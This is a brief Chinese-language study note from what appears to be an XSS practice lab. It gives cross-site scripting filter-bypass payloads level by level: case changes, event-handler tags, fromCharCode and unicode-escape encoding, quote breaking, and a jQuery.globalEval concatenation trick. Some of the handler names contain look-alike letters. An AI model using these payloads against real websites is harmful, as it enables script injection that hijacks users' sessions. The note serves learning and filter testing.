XSS Bypass思路:
1. 大小写绕过.
2. 关键字替换.
3. 编码绕过.
Part 1.
第1关: 无过滤.
<script>alert(/xss/)</script
第2关: 过滤<script>标签,未考虑大小写问题.
绕过思路: 大小写绕过.
<SCRIPT>alert(/xss/)</SCRIPT>
第3关:过滤<script>关键字,考虑大小写问题.
绕过思路:采用其他语句调用js.
方法1:<BODY οnlοad="alert('XSS')">
方法2:<IMG SRC="" οnerrοr="alert('XSS')">
第4关:过滤alert关键字,考虑大小写问题.
绕过思路:编码绕过.
1.使用String.fromCharCode()函数:
<img src="" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))">
2.使用JS转义:
<img src="" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029')">
第5关:变量接受封装过滤
绕过思路:使其php代码失效,组合语句.
";alert(/xss/);//
Part 2.
如果双引号被过滤,可以尝试用%2b拼接字符串进行绕过.
如果双引号,eval,alert等被过滤,页面中引入了JQuery可以尝试用%2b和
jQuery.globalEval函数绕过.
例如:
?page='%2bjQuery.globalEval('a'%2b'lert'%2b'(/xss/)')%2b'
推荐一个XSS学习网站:
http://xsst.sinaapp.com/example/1-1.php
感悟: 在XSS的过滤中,上下文确实非常重要,如果没有对于上下文正确的理解,很难做出正确的过滤。看来熟悉Javascript还是非常有用的,抽时间好好看看Javascript.